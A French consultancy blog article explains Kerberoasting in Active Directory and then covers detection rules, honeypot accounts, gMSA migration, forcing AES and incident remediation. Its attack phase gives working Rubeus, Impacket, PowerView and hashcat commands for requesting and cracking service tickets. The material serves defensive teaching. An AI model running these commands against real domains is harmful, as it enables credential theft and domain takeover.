AYI NEDJIMI Consultants

Kerberoasting : Guide Complet | Active Directory 2026

Catégorie : Attaques Active Directory Lecture : 14 min Publié le : 07/12/2025 Auteur : Ayi NEDJIMI

Guide expert sur l Kerberoasting : Guide Complet de Détection et Défense. Expert en cybersécurité et intelligence artificielle. Guide technique.

Attaques Active Directory

Kerberoasting : Exploitation des Comptes de Service dans Active Directory

Publié le 16 octobre 2025 | Temps de lecture : 30 minutes | Par Ayi NEDJIMI La securisation d'Active Directory represente un defi majeur pour les entreprises modernes. Les attaquants ciblent systematiquement ces infrastructures critiques, exploitant des configurations par defaut ou des privileges excessifs pour compromettre l'ensemble du systeme d'information. Cet article fournit une analyse technique approfondie des mecanismes d'attaque et des contre-mesures efficaces, basee sur des retours d'experience terrain et les recommandations des autorites de reference comme l'ANSSI et le MITRE. Guide expert sur l Kerberoasting : Guide Complet de Détection et Défense. Expert en cybersécurité et intelligence artificielle. Guide technique. Ce guide couvre les aspects essentiels de kerberoasting attaque defense : méthodologie structurée, outils recommandés et retours d'expérience opérationnels. Les professionnels y trouveront des recommandations directement applicables.

L'attaque **Kerberoasting** est l'une des techniques d'exploitation Active Directory les plus répandues et les plus efficaces observées en 2025. Cette attaque permet à un attaquant disposant de simples credentials utilisateur de récupérer des tickets de service Kerberos (TGS) chiffrés avec le hash du mot de passe de comptes de service, puis de les craquer hors ligne pour obtenir des privilèges élevés. Sa simplicité d'exécution et son efficacité redoutable en font un vecteur d'attaque privilégié dans la plupart des campagnes de compromission d'environnements Active Directory.

Sommaire

Une compromission d'un seul poste de travail pourrait-elle mener à votre contrôleur de domaine ?

Introduction : Pourquoi le Kerberoasting est-il si Efficace ?

Le **Kerberoasting** exploite une caractéristique fondamentale du protocole Kerberos : les tickets de service (TGS) sont chiffrés avec le hash NTLM du compte de service associé au Service Principal Name (SPN). Contrairement aux attaques nécessitant des privilèges administratifs ou l'accès physique aux contrôleurs de domaine, le Kerberoasting peut être effectué avec n'importe quel compte utilisateur valide du domaine.

Les raisons de l'efficacité redoutable du Kerberoasting :

- **Prérequis minimal** : Nécessite uniquement un compte utilisateur AD valide (même sans privilèges)
- **Opération légitime** : La demande de TGS est une opération Kerberos normale, difficile à distinguer du trafic légitime
- **Craquage hors ligne** : Les tickets sont craqués sur l'infrastructure de l'attaquant, invisible pour le défenseur
- **Mots de passe faibles** : De nombreux comptes de service utilisent des mots de passe simples ou anciens
- **Privilèges élevés** : Les comptes de service ont souvent des permissions étendues (Domain Admin, etc.)
- **Difficulté de détection** : Les outils de sécurité traditionnels ne détectent pas cette activité comme malveillante

Statistique alarmante : Selon une étude de Specops Software (2024), 83% des environnements Active Directory testés contenaient au moins un compte de service avec un mot de passe craquable en moins de 24 heures via Kerberoasting. Dans 42% des cas, ces comptes disposaient de privilèges Domain Admin ou équivalent.

Cette menace est particulièrement préoccupante car elle s'appuie sur une fonctionnalité légitime de Kerberos. Il n'existe pas de "correctif" à appliquer, mais plutôt une série de bonnes pratiques et de mécanismes de défense à déployer pour réduire l'exposition et améliorer la détection.

Notre avis d'expert
Kerberos, conçu il y a des décennies, porte en lui des faiblesses architecturales que les attaquants exploitent quotidiennement. Le passage à une authentification moderne basée sur des certificats et FIDO2 n'est plus optionnel — c'est une question de survie numérique.

Qu'est-ce que le Kerberoasting ?

Pour comprendre le Kerberoasting, il est essentiel de saisir le concept de **Service Principal Name (SPN)** et le fonctionnement des tickets de service Kerberos.

Service Principal Names (SPN) dans Active Directory

Un **SPN** est un identifiant unique associé à un service s'exécutant sur un serveur dans Active Directory. Il permet au protocole Kerberos d'associer une instance de service à un compte de connexion, facilitant l'authentification mutuelle entre clients et services.

Format typique d'un SPN :

```
ServiceClass/Host:Port/ServiceName

Exemples :
- MSSQLSvc/SQL01.contoso.com:1433
- HTTP/webapp.contoso.com
- WSMAN/server01.contoso.com
- TERMSRV/rdp.contoso.com
```

Les SPNs sont enregistrés comme attributs des comptes utilisateur ou ordinateur dans Active Directory. Lorsqu'un client souhaite accéder à un service, il demande un ticket de service (TGS) pour le SPN correspondant.

Le Processus d'Authentification Kerberos pour les Services

Lors d'une demande de ticket de service standard :

1. **Le client demande un TGS** au KDC (Key Distribution Center) pour un SPN spécifique
2. **Le KDC vérifie** que le compte client dispose d'un TGT valide
3. **Le KDC génère un TGS** chiffré avec le hash NTLM du compte associé au SPN
4. **Le client reçoit le TGS** et peut l'utiliser pour s'authentifier auprès du service
5. **Le service déchiffre le TGS** avec son propre hash pour valider l'authentification

Le **point critique** : Le TGS est chiffré avec le hash du compte de service. Si l'attaquant peut obtenir ce TGS, il peut tenter de le craquer hors ligne pour récupérer le mot de passe en clair du compte de service.

Définition du Kerberoasting

Le **Kerberoasting** est une technique d'attaque qui consiste à :

1. **Énumérer tous les comptes** avec des SPNs enregistrés dans le domaine
2. **Demander des TGS** pour ces SPNs (opération légitime ne nécessitant aucun privilège particulier)
3. **Extraire les tickets TGS** de la mémoire ou les capturer directement
4. **Convertir les tickets** dans un format craquable (hashcat, John the Ripper)
5. **Craquer les hashes hors ligne** pour récupérer les mots de passe en clair
6. **Utiliser les credentials** pour l'escalade de privilèges ou le mouvement latéral

Types de Comptes Vulnérables

Plusieurs types de comptes sont particulièrement ciblés par le Kerberoasting :

- **Comptes de service SQL Server** : Souvent avec privilèges sysadmin et mots de passe faibles
- **Comptes IIS/Web** : Services HTTP avec SPNs
- **Comptes Exchange** : Privilèges étendus dans l'organisation
- **Comptes personnalisés** : Créés manuellement pour des applications métier
- **Comptes historiques** : Anciens comptes jamais supprimés avec mots de passe obsolètes

Point de vigilance : Comptes avec privileges Domain Admin
De nombreux environnements AD contiennent des comptes de service membres du groupe Domain Admins avec des SPNs. Un seul de ces comptes compromis via Kerberoasting peut entraîner une compromission totale du domaine en quelques heures.

Comment Fonctionne l'Attaque Kerberoasting ?

Voyons maintenant en détail les étapes techniques d'une attaque Kerberoasting et les outils utilisés par les attaquants.

Phase 1 : Énumération des Comptes avec SPN

La première étape consiste à identifier tous les comptes utilisateur disposant de Service Principal Names dans le domaine. Cette opération est totalement légitime et ne génère aucun événement de sécurité suspect.

Méthode 1 : Utilisation de PowerShell natif

```
# Énumération des SPNs avec Get-ADUser
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName,
PasswordLastSet, LastLogonDate | Select-Object Name, ServicePrincipalName,
PasswordLastSet, LastLogonDate

# Alternative avec requête LDAP
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
$searcher.PropertiesToLoad.Add("servicePrincipalName") | Out-Null
$searcher.PropertiesToLoad.Add("samaccountname") | Out-Null
$searcher.FindAll()
```

Méthode 2 : Rubeus (outil C# offensif)

```
# Rubeus pour énumérer les SPNs
Rubeus.exe kerberoast /stats


   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0

[*] Action: Kerberoasting

[*] Listing statistics about target users

  SamAccountName         : svc_sql
  ServicePrincipalName   : MSSQLSvc/SQL01.contoso.com:1433
  PasswordLastSet        : 11/15/2020 10:23:45 AM
  MemberOf               : Domain Admins

  SamAccountName         : svc_iis
  ServicePrincipalName   : HTTP/webapp.contoso.com
  PasswordLastSet        : 03/12/2019 14:56:12 PM
```

Méthode 3 : Invoke-Kerberoast (PowerView)

```
# PowerView / PowerSploit
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat | fl
```

Phase 2 : Demande et Extraction des Tickets TGS

Une fois les comptes avec SPN identifiés, l'attaquant demande des tickets TGS pour ces SPNs. Cette opération Kerberos standard ne nécessite aucun privilège spécial.

Cas concret
L'attaque ZeroLogon (CVE-2020-1472) permettait d'obtenir les privilèges d'administrateur de domaine en envoyant simplement des zéros dans le challenge Netlogon. Cette vulnérabilité critique, exploitable en quelques secondes, a rappelé que les protocoles historiques d'AD restent des surfaces d'attaque majeures.

Votre Active Directory résisterait-il à une attaque Kerberoasting ?

Extraction avec Rubeus

```
# Demander des TGS pour tous les comptes avec SPN
Rubeus.exe kerberoast /outfile:tickets.txt /format:hashcat

[*] Action: Kerberoasting

[*] Target Domain          : CONTOSO.COM

[*] Searching path 'LDAP://DC01.contoso.com/DC=contoso,DC=com' for
'(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!
(UserAccountControl:1.2.840.113556.1.4.803:=2)))'

[*] Total kerberoastable users : 2

[*] Hash written to C:\tickets.txt

# Contenu du fichier tickets.txt (format Hashcat)
$krb5tgs$23$*svc_sql$CONTOSO.COM$MSSQLSvc/SQL01.contoso.com:1433*$7A3F...B2E1
```

Extraction avec Impacket (Linux)

```
# Impacket GetUserSPNs.py
GetUserSPNs.py -request -dc-ip 10.10.10.10 contoso.com/user:password

ServicePrincipalName               Name
MemberOf                                          PasswordLastSet
---------------------------------  -------
--------------------------------------------------  -------------------
MSSQLSvc/SQL01.contoso.com:1433      svc_sql  CN=Domain
Admins,CN=Users,DC=contoso,DC=com          2020-11-15 10:23:45
HTTP/webapp.contoso.com              svc_iis
CN=IIS_IUSRS,CN=Builtin,DC=contoso,DC=com           2019-03-12 14:56:12

$krb5tgs$23$*svc_sql$CONTOSO.COM$MSSQLSvc/SQL01.contoso.com:1433*$7a3f...
```

Extraction avec PowerShell (Invoke-Kerberoast)

```
Invoke-Kerberoast -OutputFormat Hashcat | % { $_.Hash } | Out-File -Encoding ASCII kerb-
hashes.txt
```

Phase 3 : Craquage Hors Ligne des Tickets

Les tickets extraits peuvent maintenant être craqués hors ligne avec des outils comme **Hashcat** ou **John the Ripper**. Cette opération est invisible pour les défenseurs car elle s'effectue sur l'infrastructure de l'attaquant.

Craquage avec Hashcat

```
# Craquage avec dictionnaire
hashcat -m 13100 -a 0 tickets.txt /usr/share/wordlists/rockyou.txt --force

# Craquage avec règles avancées
hashcat -m 13100 -a 0 tickets.txt wordlist.txt -r rules/best64.rule --force

# Craquage par force brute (8 caractères)
hashcat -m 13100 -a 3 tickets.txt ?a?a?a?a?a?a?a?a --force

# Mode 13100 = Kerberos 5 TGS-REP etype 23 (RC4-HMAC)
```

Performance de Craquage

Avec du matériel moderne (GPU RTX 4090), les vitesses de craquage atteignent :

- **RC4-HMAC (etype 23)** : ~50 GH/s (50 milliards de tentatives par seconde)
- **AES128 (etype 17)** : ~1.5 GH/s
- **AES256 (etype 18)** : ~800 MH/s

Temps de craquage estimés pour différents types de mots de passe :

Type de mot de passe	Exemple	Temps de craquage (RC4)
Dictionnaire commun	`Password123`	Quelques secondes
8 caractères (lettres+chiffres)	`Sql2019!`	2-6 heures
12 caractères (complexe)	`MyS3rv!c3P@ss`	3-30 jours
25+ caractères (aléatoire)	`gMSA auto-generated`	Non craquable (plusieurs siècles)

Phase 4 : Exploitation des Credentials Récupérés

Une fois le mot de passe craqué, l'attaquant peut :

- **S'authentifier avec le compte de service** : Accès légitime avec les privilèges du compte
- **Mouvement latéral** : Si le compte dispose de privilèges sur d'autres systèmes
- **Escalade vers Domain Admin** : Si le compte de service est membre de DA
- **Accès aux bases de données** : Comptes SQL Server avec accès sysadmin
- **Persistance** : Création de backdoors avec les privilèges obtenus

Pour comprendre comment les attaquants progressent après cette compromission initiale, consultez notre article sur le Golden Ticket.

Détection quasi-impossible du craquage offline
La phase de craquage s'effectue entièrement hors ligne sur l'infrastructure de l'attaquant. Aucun événement n'est généré sur le réseau ou les contrôleurs de domaine pendant cette opération. La seule fenêtre de détection se situe lors de la demande initiale des tickets TGS (Event ID 4769).

Méthodes de Détection du Kerberoasting

Bien que le Kerberoasting exploite des fonctionnalités légitimes de Kerberos, plusieurs anomalies peuvent être détectées par une surveillance appropriée.

Event ID 4769 : Demande de Ticket de Service Kerberos

L'événement Windows **Event ID 4769** est généré sur les contrôleurs de domaine à chaque demande de ticket de service (TGS). Cet événement constitue la principale opportunité de détection du Kerberoasting.

Anatomie de l'Event ID 4769

```
Event ID: 4769
Log: Security
Source: Microsoft-Windows-Security-Auditing
Level: Information

Account Name: user@CONTOSO.COM
Account Domain: CONTOSO.COM
Service Name: MSSQLSvc/SQL01.contoso.com
Service ID: CONTOSO\svc_sql
Ticket Options: 0x40810000
Ticket Encryption Type: 0x17 (RC4-HMAC)
Client Address: 10.10.10.50
Failure Code: 0x0 (Success)
```

Indicateurs Suspects dans Event ID 4769
Plusieurs caractéristiques peuvent indiquer une activité Kerberoasting :

- **Volume anormal de requêtes** : Un compte demandant des TGS pour de nombreux SPNs en peu de temps
- **Chiffrement RC4 (0x17)** : Les outils Kerberoasting privilégient RC4 car plus facile à craquer
- **Demandes pour des SPNs inhabituels** : Un utilisateur normal demandant des tickets pour des services qu'il n'utilise jamais
- **Absence d'utilisation du ticket** : Ticket demandé mais jamais utilisé pour accéder au service
- **Patterns temporels** : Requêtes massives à des heures inhabituelles (nuit, week-end)

Règles de Détection SIEM

Règle 1 : Détection de demandes massives de TGS

```
# Splunk SPL
index=windows EventCode=4769 Ticket_Encryption_Type=0x17
| bucket _time span=5m
| stats dc(Service_Name) as unique_services by _time, Account_Name
| where unique_services > 10
| table _time, Account_Name, unique_services

# Détecte un compte demandant plus de 10 services différents en 5 minutes
```

Règle 2 : Détection de chiffrement RC4 sur comptes sensibles

```
# Microsoft Sentinel KQL
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"
| where ServiceName has_any ("Domain Admins", "Enterprise Admins", "SQL", "Admin")
| summarize count() by AccountName, ServiceName, IpAddress
| where count_ > 5
```

Règle 3 : Corrélation TGS sans utilisation ultérieure

```
# Détection de tickets demandés mais jamais utilisés
EventCode=4769 (TGS request)
| append [search EventCode=4624 LogonType=3]
| transaction Account_Name maxspan=10m
| where eventcount=1
| table _time, Account_Name, Service_Name, Client_Address
```

Microsoft Defender for Identity (MDI)

Microsoft Defender for Identity (anciennement Azure ATP) offre une détection native du Kerberoasting via :

- **Analyse comportementale** : Détection d'anomalies dans les patterns de demande TGS
- **Alertes de suspicion de Kerberoasting** : Alert ID 2412 - "Suspicious Kerberos Service Ticket Request"
- **Scoring de sévérité** : Priorisation automatique basée sur les privilèges du compte ciblé
- **Timeline de l'attaque** : Visualisation des étapes de l'attaque dans la console MDI
- **Intégration Microsoft Sentinel** : Corrélation avec d'autres signaux de compromission

Honeypot Service Accounts

Une technique de détection proactive consiste à créer des **comptes de service leurres** :

1. Créer un compte utilisateur avec un nom attractif (ex: `svc_backup_admin`)
2. Lui attribuer un SPN fictif
3. Le rendre membre de groupes privilégiés (Domain Admins) pour l'aspect attractif
4. Configurer une alerte sur toute demande TGS pour ce SPN

5. Ne jamais utiliser ce compte légitimement

```
# Création d'un honeypot service account
New-ADUser -Name "svc_backup_admin" -AccountPassword (ConvertTo-SecureString
"ComplexP@ssw0rd!123" -AsPlainText -Force) -Enabled $true
Set-ADUser -Identity "svc_backup_admin" -ServicePrincipalNames @{Add="HTTP/
backup.contoso.com"}
Add-ADGroupMember -Identity "Domain Admins" -Members "svc_backup_admin"

# Configurer alerte SIEM sur Event ID 4769 avec ServiceName="HTTP/backup.contoso.com"
```

Toute demande de TGS pour ce compte constitue un **indicateur de compromission certain**.

Audit Régulier des Comptes avec SPN

Un audit régulier permet d'identifier et de corriger les vulnérabilités avant qu'elles ne soient exploitées :

```
# Script PowerShell d'audit des comptes vulnérables
$results = Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties
ServicePrincipalName, PasswordLastSet, MemberOf, Enabled |
    Select-Object Name,
                  @{N='SPNs';E={$_.ServicePrincipalName -join '; '}},
                  PasswordLastSet,
                  @{N='PasswordAge';E={(New-TimeSpan -Start $_.PasswordLastSet).Days}},
                  @{N='IsPrivileged';E={$_.MemberOf -match 'Domain Admins|Enterprise
Admins|Schema Admins'}},
                  Enabled

# Filtrer les comptes à risque
$riskyAccounts = $results | Where-Object {
    $_.PasswordAge -gt 365 -or
    $_.IsPrivileged -eq $true
}

$riskyAccounts | Export-Csv -Path "KerberoastingRisk_$(Get-Date -Format 'yyyyMMdd').csv"
-NoTypeInformation
```

Contremesures et Prévention

La défense contre le Kerberoasting repose sur plusieurs piliers complémentaires : durcissement des mots de passe, migration vers gMSA, et renforcement du chiffrement Kerberos.

1. Group Managed Service Accounts (gMSA)

Les **gMSA** sont la contremesure la plus efficace contre le Kerberoasting. Ces comptes utilisent des mots de passe de 240 caractères aléatoires, automatiquement rotés tous les 30 jours par Active Directory, rendant le craquage impossible.

Caractéristiques des gMSA

- **Mots de passe complexes auto-générés** : 240 caractères aléatoires
- **Rotation automatique** : Tous les 30 jours sans intervention humaine
- **Gestion centralisée** : Active Directory gère les credentials

- **Pas de gestion manuelle** : Élimine le risque de mots de passe faibles
- **Support natif Windows** : Services, IIS, SQL Server, scheduled tasks

Migration vers gMSA

```
# Prérequis : Active Directory Schema >= Windows Server 2012

# 1. Créer la KDS Root Key (one-time, domaine)
Add-KdsRootKey -EffectiveTime ((Get-Date).AddHours(-10))

# 2. Créer un gMSA
New-ADServiceAccount -Name "gMSA-SQL01" `
    -DNSHostName "SQL01.contoso.com" `
    -PrincipalsAllowedToRetrieveManagedPassword "SQL-Servers-Group" `
    -ServicePrincipalNames "MSSQLSvc/SQL01.contoso.com:1433"

# 3. Installer le gMSA sur le serveur cible
Install-ADServiceAccount -Identity "gMSA-SQL01"

# 4. Tester la récupération du mot de passe
Test-ADServiceAccount -Identity "gMSA-SQL01"

# 5. Configurer le service pour utiliser le gMSA
# Format du compte : CONTOSO\gMSA-SQL01$
# Mot de passe : laisser vide (géré par AD)
```

Services Supportant les gMSA

- **SQL Server** : Versions 2012 et ultérieures
- **IIS Application Pools** : Windows Server 2012+
- **Windows Services** : Tous les services Windows natifs
- **Scheduled Tasks** : Windows Server 2012+
- **Exchange** : Exchange 2013 et ultérieures (partiel)

Roadmap de Migration gMSA

1. **Phase 1 : Inventaire** - Lister tous les comptes de service avec SPN
2. **Phase 2 : Priorisation** - Commencer par les comptes Domain Admin et services critiques
3. **Phase 3 : Tests** - Déploiement gMSA en environnement de test
4. **Phase 4 : Migration progressive** - Migration service par service avec validation
5. **Phase 5 : Surveillance** - Monitoring des comptes restants non-gMSA

2. Mots de Passe Longs et Complexes (Comptes Non-gMSA)

Pour les comptes qui ne peuvent pas être migrés vers gMSA (applications legacy), appliquer une politique stricte :

- **Longueur minimale** : 25 caractères minimum (idéalement 30+)
- **Complexité** : Majuscules, minuscules, chiffres, symboles
- **Randomisation** : Générés par un gestionnaire de mots de passe
- **Rotation régulière** : Tous les 6 mois maximum
- **Pas de mots du dictionnaire** : Éviter les patterns craquables

```
# Génération de mot de passe fort pour compte de service
$password = -join ((48..57) + (65..90) + (97..122) + (33..47) | Get-Random -Count 32 |
ForEach-Object {[char]$_})

# Définir le mot de passe sur le compte
Set-ADAccountPassword -Identity "svc_legacy_app" -Reset -NewPassword (ConvertTo-
SecureString -AsPlainText $password -Force)

# Configurer pour ne jamais expirer (géré manuellement)
Set-ADUser -Identity "svc_legacy_app" -PasswordNeverExpires $true
```

3. Forcer le Chiffrement AES pour Kerberos

Le chiffrement **AES** (AES128-SHA1 ou AES256-SHA1) est significativement plus résistant au craquage que RC4-HMAC. Forcer AES rend le Kerberoasting beaucoup plus difficile.

Activation d'AES via GPO

```
# Via GPO : Computer Configuration > Policies > Windows Settings > Security Settings >
Local Policies > Security Options

"Network security: Configure encryption types allowed for Kerberos"

Décocher :
- RC4_HMAC_MD5 (désactiver)

Cocher :
- AES128_HMAC_SHA1
- AES256_HMAC_SHA1
- Future encryption types
```

Activation d'AES par compte

```
# Activer AES256 sur un compte spécifique
Set-ADUser -Identity "svc_sql" -KerberosEncryptionType "AES128, AES256"

# Vérifier les types de chiffrement supportés
Get-ADUser -Identity "svc_sql" -Properties msDS-SupportedEncryptionTypes
```

Impact de la désactivation de RC4
La désactivation de RC4 peut entraîner des problèmes de compatibilité :

- Systèmes anciens (Windows Server 2003, XP) ne supportant pas AES
- Certaines applications tierces codées en dur pour RC4
- Trusts avec domaines externes utilisant RC4

Testez en profondeur avant le déploiement en production. Utilisez Event ID 4768/4769 pour identifier les systèmes utilisant encore RC4.

4. Restriction des Permissions des Comptes de Service

Appliquer le **principe du moindre privilège** :

- **Jamais Domain Admin** : Les comptes de service ne doivent jamais être membres de DA/EA/SA

- **Permissions minimales** : Uniquement les droits nécessaires au service
- **Comptes dédiés** : Un compte de service par service (pas de réutilisation)
- **Isolation par tier** : Respecter le modèle d'administration par niveaux
- **Deny interactive logon** : Empêcher la connexion interactive

```
# Audit des comptes de service privilégiés
$privilegedGroups = @("Domain Admins", "Enterprise Admins", "Schema Admins",
"Administrators")

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties MemberOf |
    Where-Object {
        $_.MemberOf | Where-Object { $privilegedGroups -contains ($_ -replace '^CN=([^,]
+),.+$','$1') }
    } |
    Select-Object Name, @{N='PrivilegedGroup';E={$_.MemberOf -replace '^CN=([^,]+),.+
$','$1'}}

# Retirer les comptes de service des groupes privilégiés
Remove-ADGroupMember -Identity "Domain Admins" -Members "svc_sql" -Confirm:$false
```

5. Monitoring et Alerting Continu

Déployer une stratégie de surveillance continue :

- **SIEM avec règles Kerberoasting** : Alertes sur patterns suspects Event ID 4769
- **Microsoft Defender for Identity** : Détection comportementale native
- **Tableaux de bord dédiés** : Visualisation des demandes TGS en temps réel
- **Alertes prioritaires** : Notification immédiate pour comptes critiques
- **Métriques historiques** : Baseline de comportement normal pour détecter les anomalies

Remédiation après Compromission Kerberoasting

Si vous détectez ou suspectez une activité Kerberoasting dans votre environnement, une réponse rapide et structurée est essentielle.

Phase 1 : Identification et Analyse

Objectif : Déterminer l'étendue de la compromission et identifier les comptes affectés.

1. **Analyser les logs Event ID 4769** : Identifier les comptes ayant fait des demandes TGS anormales

   ```
   # PowerShell pour analyser les Event ID 4769 suspects
   Get-WinEvent -FilterHashtable @{LogName='Security';Id=4769} -MaxEvents 10000 |
       Where-Object { $_.Properties[8].Value -eq '0x17' } |  # RC4 encryption
       Group-Object -Property { $_.Properties[0].Value } |    # Account Name
       Where-Object { $_.Count -gt 10 } |                     # Plus de 10 TGS
       Select-Object Name, Count | Sort-Object Count -Descending
   ```

2. **Identifier les comptes de service ciblés** : Lister tous les SPNs pour lesquels des TGS ont été demandés

3. **Évaluer la criticité** : Prioriser selon les privilèges des comptes (Domain Admin = critique)
4. **Vérifier l'utilisation légitime** : Corréler avec les authentifications réelles (Event ID 4624)

Phase 2 : Containment (Confinement)

Objectif : Limiter la capacité de l'attaquant à exploiter les credentials compromis.

1. **Réinitialisation immédiate des mots de passe** : Pour tous les comptes de service ciblés

```
# Réinitialisation de masse avec mots de passe aléatoires forts
$targetedAccounts = @("svc_sql", "svc_iis", "svc_exchange")

foreach ($account in $targetedAccounts) {
    $newPassword = -join ((48..57) + (65..90) + (97..122) + (33..47) | Get-Random -Count 32 | ForEach-Object {[char]$_})
    Set-ADAccountPassword -Identity $account -Reset -NewPassword (ConvertTo-SecureString -AsPlainText $newPassword -Force)

    # Stocker le mot de passe dans un gestionnaire de mots de passe d'entreprise
    Write-Host "Account: $account | New Password: $newPassword" -ForegroundColor Green
}
```

2. **Désactivation temporaire des comptes suspects** : Si l'impact métier est acceptable

```
Disable-ADAccount -Identity "svc_legacy_app"
```

3. **Révocation des tickets Kerberos** : Forcer la réémission de nouveaux tickets

```
# Purger les tickets du DC (nécessite redémarrage du service KDC)
# Attention : Impact sur tous les tickets du domaine
Restart-Service -Name "KDC" -Force
```

4. **Bloquer le compte attaquant** : Si identifié avec certitude

Phase 3 : Eradication

Objectif : Éliminer la vulnérabilité et renforcer la sécurité.

1. **Migration vers gMSA** : Pour tous les comptes de service compatibles

```
# Migration d'un compte de service vers gMSA
# 1. Créer le gMSA
New-ADServiceAccount -Name "gMSA-SQL01" -DNSHostName "SQL01.contoso.com" -PrincipalsAllowedToRetrieveManagedPassword "SQL-Servers-Group" -ServicePrincipalNames "MSSQLSvc/SQL01.contoso.com:1433"

# 2. Sur le serveur SQL, installer le gMSA
Install-ADServiceAccount -Identity "gMSA-SQL01"

# 3. Reconfigurer le service SQL Server pour utiliser CONTOSO\gMSA-SQL01$

# 4. Désactiver l'ancien compte
Disable-ADAccount -Identity "svc_sql"
```

2. **Renforcement des mots de passe non-migrables** : Passer à 30+ caractères

3. **Activation du chiffrement AES** : Forcer AES via GPO
4. **Révision des permissions** : Retirer les privilèges excessifs
5. **Suppression des comptes obsolètes** : Nettoyer les comptes de service non utilisés

Phase 4 : Recovery et Surveillance Renforcée

Objectif : Restaurer les opérations normales et détecter toute activité résiduelle.

1. **Validation du fonctionnement des services** : Vérifier que les services redémarrent correctement avec les nouveaux credentials
2. **Déploiement de honeypots** : Créer des comptes leurres avec SPN pour détecter de futures tentatives
3. **Surveillance accrue pendant 90 jours** : Monitoring intensif des Event ID 4769
4. **Audit forensique** : Déterminer le vecteur d'intrusion initial
    - Comment l'attaquant a-t-il obtenu le premier accès ?
    - Quels autres systèmes ont été compromis ?
    - Y a-t-il des backdoors persistants ?

Checklist de Remédiation Kerberoasting

- ☑ Analyse des logs Event ID 4769 pour identifier les comptes ciblés
- ☑ Réinitialisation immédiate des mots de passe de tous les comptes de service ciblés
- ☑ Migration vers gMSA pour comptes compatibles (priorité : comptes privilégiés)
- ☑ Renforcement mots de passe (30+ caractères) pour comptes non-migrables
- ☑ Activation chiffrement AES Kerberos (désactivation RC4)
- ☑ Révision et suppression privilèges excessifs (retrait de Domain Admins)
- ☑ Désactivation/suppression comptes de service obsolètes
- ☑ Déploiement honeypot service accounts
- ☑ Configuration alertes SIEM pour Event ID 4769 (patterns suspects)
- ☑ Déploiement Microsoft Defender for Identity si pas déjà en place
- ☑ Audit forensique pour identifier vecteur initial et backdoors
- ☑ Documentation de l'incident et leçons apprises

Quand Faire Appel à un Expert Externe ?

Faire appel à un cabinet spécialisé en réponse à incident AD est recommandé dans les cas suivants :

- **Compromission de comptes Domain Admin** : Risque de compromission totale du domaine
- **Grande échelle** : Nombreux comptes ciblés simultanément
- **Manque de visibilité** : Logs insuffisants pour déterminer l'étendue
- **Expertise technique limitée** : Manque d'expérience avec gMSA ou investigations forensiques
- **Conformité réglementaire** : Secteurs nécessitant un rapport d'incident certifié (santé, finance)
- **Suspicion d'APT** : Indicateurs d'une attaque poussée et persistante

Nos services de réponse à incident Active Directory incluent investigation forensique, remédiation guidée, et durcissement post-incident.

> **Ressources open source associées :**
>
> • KerberosAudit-AI — Audit Kerberos avec analyse IA
> • KerberosScanner — Scanner Kerberos (C++)
> • HashCracker-GPU — Casseur de hash optimisé GPU
> • ad-attacks-fr — Dataset des attaques Active Directory (HuggingFace)

Comment fonctionne l'attaque Kerberoasting et pourquoi est-elle si efficace ?

Le Kerberoasting exploite le fonctionnement normal du protocole Kerberos : tout utilisateur authentifie peut demander un ticket de service (TGS) pour n'importe quel SPN enregistre dans le domaine. La partie chiffree du ticket utilise le hash du mot de passe du compte de service, que l'attaquant peut extraire et craquer hors ligne sans generer d'alertes de verrouillage. L'efficacite de l'attaque tient au fait que de nombreux comptes de service utilisent des mots de passe faibles, rarement changes, et que l'operation ne necessite aucun privilege particulier.

Surveillance et alertes en environnement reel

Quels comptes de service sont les plus vulnerables au Kerberoasting ?

Les comptes les plus vulnerables sont ceux avec un SPN enregistre, un mot de passe faible ou ancien, et des privileges eleves dans le domaine. Les comptes de service SQL Server, les comptes d'applications legacy, et les comptes crees manuellement avec des mots de passe definis par des administrateurs sont particulierement a risque. Les comptes de service geres (gMSA) ne sont pas vulnerables car leurs mots de passe de 240 caracteres sont generes et renouveles automatiquement par Active Directory toutes les 30 jours.

Comment mettre en place une strategie de detection efficace contre le Kerberoasting ?

La detection repose sur la surveillance de l'Event ID 4769 (demande de ticket de service) en filtrant sur le type de chiffrement RC4 (0x17), qui est privilegie par les attaquants car plus rapide a craquer. Il faut configurer des alertes sur les volumes anormaux de demandes TGS depuis un meme compte en peu de temps, corréler avec les comptes sources rarement utilises, et deployer des honey accounts (comptes de service leurres avec SPN) qui generent une alerte immediate lors de toute demande de ticket, permettant une detection zero faux positif.

Pour approfondir, consultez les ressources officielles : OWASP Testing Guide, CVE Details et ANSSI.

Sources et références : MITRE ATT&CK Privilege Escalation · ADSecurity.org

Conclusion

L'attaque **Kerberoasting** demeure en 2025 l'une des techniques d'exploitation Active Directory les plus répandues et les plus efficaces. Sa simplicité d'exécution - ne nécessitant qu'un compte utilisateur standard - combinée à sa discrétion et à l'impossibilité de détecter le craquage hors ligne, en fait un vecteur d'attaque privilégié pour les acteurs malveillants de tous niveaux de sophistication.

La prévalence de mots de passe faibles sur les comptes de service, l'utilisation persistante de RC4-HMAC au lieu d'AES, et l'attribution fréquente de privilèges Domain Admin aux comptes de service créent un terreau fertile pour cette attaque. Nos audits révèlent régulièrement que plus de 80% des environnements Active Directory contiennent au moins un compte de service vulnérable au Kerberoasting avec des privilèges élevés.

Cependant, des défenses robustes existent et doivent être déployées de manière systématique :

- **Les Group Managed Service Accounts (gMSA)** constituent la protection la plus efficace, éliminant le risque de craquage par l'utilisation de mots de passe de 240 caractères auto-rotés
- **Le chiffrement AES forcé** augmente drastiquement la difficulté de craquage des tickets
- **Le principe du moindre privilège** limite l'impact d'une compromission réussie
- **La surveillance Event ID 4769** et les solutions comme Microsoft Defender for Identity permettent la détection précoce

La migration vers gMSA doit être une priorité stratégique pour toute organisation sérieuse concernant la sécurité de son Active Directory. Bien que cette migration nécessite une planification et des tests approfondis, l'élimination quasi-totale du risque de Kerberoasting justifie pleinement l'investissement.

